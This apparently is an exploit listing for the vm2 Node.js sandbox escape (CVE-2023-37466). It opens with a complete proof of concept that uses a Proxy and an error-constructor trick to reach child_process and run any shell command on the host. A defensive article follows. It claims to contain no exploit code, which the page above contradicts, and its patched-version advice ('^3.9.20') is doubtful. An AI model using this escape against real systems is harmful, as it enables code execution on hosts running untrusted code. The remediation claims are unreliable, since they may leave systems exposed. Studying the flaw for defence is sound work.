vm2 - sandbox escape

Exploit Author: Calil Khalil Analysis Author: www.bubbleslearn.ir Category: Local Language: JavaScript Published Date: 2024-03-16
/*
# Exploit Title: vm2 Sandbox Escape vulnerability
# Date: 23/12/2023
# Exploit Author: Calil Khalil & Adriel Mc Roberts
# Vendor Homepage: https://github.com/patriksimek/vm2
# Software Link: https://github.com/patriksimek/vm2
# Version: vm2 <= 3.9.19
# Tested on: Ubuntu 22.04
# CVE : CVE-2023-37466
*/
const { VM } = require("vm2");
const vm = new VM();

const command = 'pwd'; // Change to the desired command

const code = `
async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}

try {
    const handler = {
        getPrototypeOf(target) {
            (function stack() {
                new Error().stack;
                stack();
            })();
        }
    };

    const proxiedErr = new Proxy({}, handler);

    throw proxiedErr;
} catch ({ constructor: c }) {
    const childProcess = c.constructor('return process')().mainModule.require('child_process');
    childProcess.execSync('${command}');
}
`;

console.log(vm.run(code));


vm2 Sandbox Escape (CVE-2023-37466) — Analysis, Impact, and Defensive Guidance

This article examines the vm2 sandbox escape vulnerability reported as CVE-2023-37466, explains the high-level root cause and impact, and — critically — focuses on detection, mitigation, secure configuration patterns, and safer alternatives for running untrusted JavaScript. It intentionally avoids reproducing exploit code or step-by-step attack recipes and instead delivers actionable defensive guidance for practitioners, architects, and incident responders.

Summary

vm2 is a popular Node.js library that provides a sandboxed environment to run untrusted JavaScript. CVE-2023-37466 was a serious vulnerability in vm2 (affecting versions up to and including 3.9.19) that allowed crafted code running inside the vm2 sandbox to break out of the sandbox and access the host process (for example, to require Node builtins such as child_process). Because such escapes can lead to remote code execution on the host, this vulnerability is high severity for deployments that run untrusted code.

High-level root cause (conceptual)

  • At a high level, the vulnerability arises from an object/exception handling path that allowed an attacker-controlled object to leak privileged constructors (for example, the Function/constructor chain) to code that was executing outside of the intended sandbox boundaries.
  • When the sandboxed environment exposes or fails to sufficiently isolate built-in object prototypes or constructor access, it becomes possible for malicious code to reach back into the host context and obtain references to Node’s runtime (such as process) or to built-in modules via require.
  • These types of issues are subtle because they typically involve prototype walks, proxy traps, error object deconstruction, or other language features that cross the isolation boundary if they are not carefully controlled.

Impacted versions and remediation

Project Impacted versions Remediation
vm2 Versions ≤ 3.9.19 Upgrade to the fixed release (upgrade to the patched vm2 version published after the fix) or apply vendor-recommended patches; remove or replace vm2 where appropriate and implement layered defense (OS-level sandboxing, separate process)

Always verify the exact fixed version in the official vm2 repository or vendor advisory and test upgrades in staging before rolling to production. If you cannot upgrade immediately, apply compensating controls described below.

Safe vm2 configuration patterns

If you must use vm2, configuring it to minimize the attack surface reduces risk. The following example shows a defensive vm2 configuration that disables common dangerous features and limits module access. This is illustrative — follow vm2 documentation for the exact option keys in your version and prefer the latest secure release.

// Defensive vm2 setup (do not expose require; disable eval and wasm)
const { VM } = require('vm2');

const vm = new VM({
  timeout: 1000,               // limit execution time
  sandbox: {},                 // explicit sandbox object
  eval: false,                 // disable eval inside sandbox
  wasm: false,                 // disable wasm if not needed
  allowAsync: false,           // disable top-level async if available in options
  require: {
    external: false,           // forbid external module loading
    builtin: [],               // allow zero built-in modules
    context: 'sandbox'         // ensure require runs in sandboxed context if enabled
  }
});

// Execute untrusted code (example string)
const result = vm.run('2 + 2');
console.log(result);

Explanation:

  • Set a strict timeout to avoid long-running code.
  • Disable eval and WebAssembly unless explicitly needed.
  • Use the require option to deny access to built-in or external modules (including child_process).
  • Provide an explicit sandbox object to limit available global variables.

Why configuration helps

Many sandbox escape vectors rely on abusing language features (e.g., access to constructors, prototype chains, or host APIs exposed via require). If the sandbox denies module loading, disallows dangerous globals, forbids eval, and prevents prototype mutation from crossing the boundary, it becomes harder for an attacker to reach host APIs even if a memory or logic bug exists. Configuration alone is not a full-proof solution; it should be combined with process-level isolation and runtime controls.

Patching and dependency management

{
  "name": "example-app",
  "dependencies": {
    "vm2": "^3.9.20" // ensure this is a patched version; adjust per vendor advisory
  }
}

Explanation:

  • Keep dependency constraints strict enough to avoid accidental downgrades to vulnerable versions.
  • Use automated tooling (Dependabot, Renovate, Snyk) and CI checks to flag vulnerable versions of vm2 and other libraries.
  • Run supply-chain scanning and SBOM generation to know which services use vulnerable vm2 versions.

Compensating controls when immediate upgrade is not possible

  • Run any process that executes untrusted code inside a strongly isolated environment: separate system user, container with minimal privileges, and no network or filesystem mounts unless required.
  • Use OS-level sandboxing features (seccomp, AppArmor, SELinux) to block syscalls that could be used for privilege escalation or process creation.
  • Drop filesystem and network privileges; mount readonly where possible and run under a non-privileged UID.
  • Use resource limits (cgroups) and strict timeouts; log and alert on suspicious behavior originating from sandbox-run services.

Detection and incident response guidance

If you believe your environment may have been targeted, look for the following indicators and gather forensic evidence promptly.

  • Unexpected invocations of Node builtins, e.g., child process creation (child_process.exec, spawn) in logs or telemetry.
  • Unusual file system changes, new files or scripts created by processes that normally only run sandboxed code.
  • Network connections initiated by services that should not make external calls.
  • Correlated alerts from endpoint detection and response (EDR) showing process creation from the Node runtime hosting vm2.
  • Review package versions and lockfiles to find services using vm2 ≤ vulnerable versions.

Forensics checklist

  • Collect process snapshots, ephemeral logs, and container images for affected hosts.
  • Capture network traffic and firewall logs covering the time window of suspected abuse.
  • Dump Node process memory and captured stacks if possible for further analysis.
  • Rotate credentials and secrets that may have been accessible to the compromised process.

Alternatives and architectural recommendations

Consider replacing vm2 with safer approaches depending on your threat model:

  • Run untrusted code in a fully separate OS process or container with minimal permissions and strong OS sandboxing; communicate via IPC with strict input validation.
  • Use deterministic execution or restricted DSLs rather than full JavaScript when possible (e.g., WASM with capability-based restrictions, domain-specific languages).
  • Explore SES (Secure EcmaScript) or language-level isolate mechanisms that provide formally stronger containment guarantees; evaluate maturity against your use case.
  • Adopt a multi-layer defense: application-level controls, runtime configuration, and OS-level isolation all combined.

Example: Isolate untrusted execution into a separate process

// Parent process spawns a worker that runs untrusted code in a separate process
const { fork } = require('child_process');
const worker = fork('./untrusted-runner.js', { stdio: ['pipe', 'pipe', 'pipe', 'ipc'] });

// Send code to runner via IPC (ensure you validate and size-limit payloads)
worker.send({ code: "2 + 2" });

worker.on('message', (msg) => {
  console.log('Result from runner:', msg);
});

Explanation:

  • This pattern puts the untrusted runtime in a separate OS process. If that process is compromised, it has a narrower blast radius than if the host application process is compromised.
  • Combine with containerization, dropping privileges (non-root UID), disabling network access, and resource limits for best protection.

Developer and security best practices

  • Minimize use of dynamic code execution and avoid eval-like features where possible.
  • Perform regular dependency audits and subscribe to public vulnerability feeds for libraries you depend on (CVE feeds, GitHub Advisories).
  • Test sandbox configurations with red-team style exercises that attempt to escalate from inside the sandbox to the host (in a controlled environment).
  • Log and alert on anomalous runtime behavior, especially attempts to load built-in modules from sandboxes.

Conclusion

CVE-2023-37466 demonstrated how fragile isolation can be in complex runtime environments like Node.js. The primary defenses are timely patching, strict sandbox configuration, and layered isolation (process/container/OS-level controls). Replace or supplement vm2 with stronger architectural controls where feasible, and maintain robust monitoring and incident response procedures to detect and contain any successful escape attempts.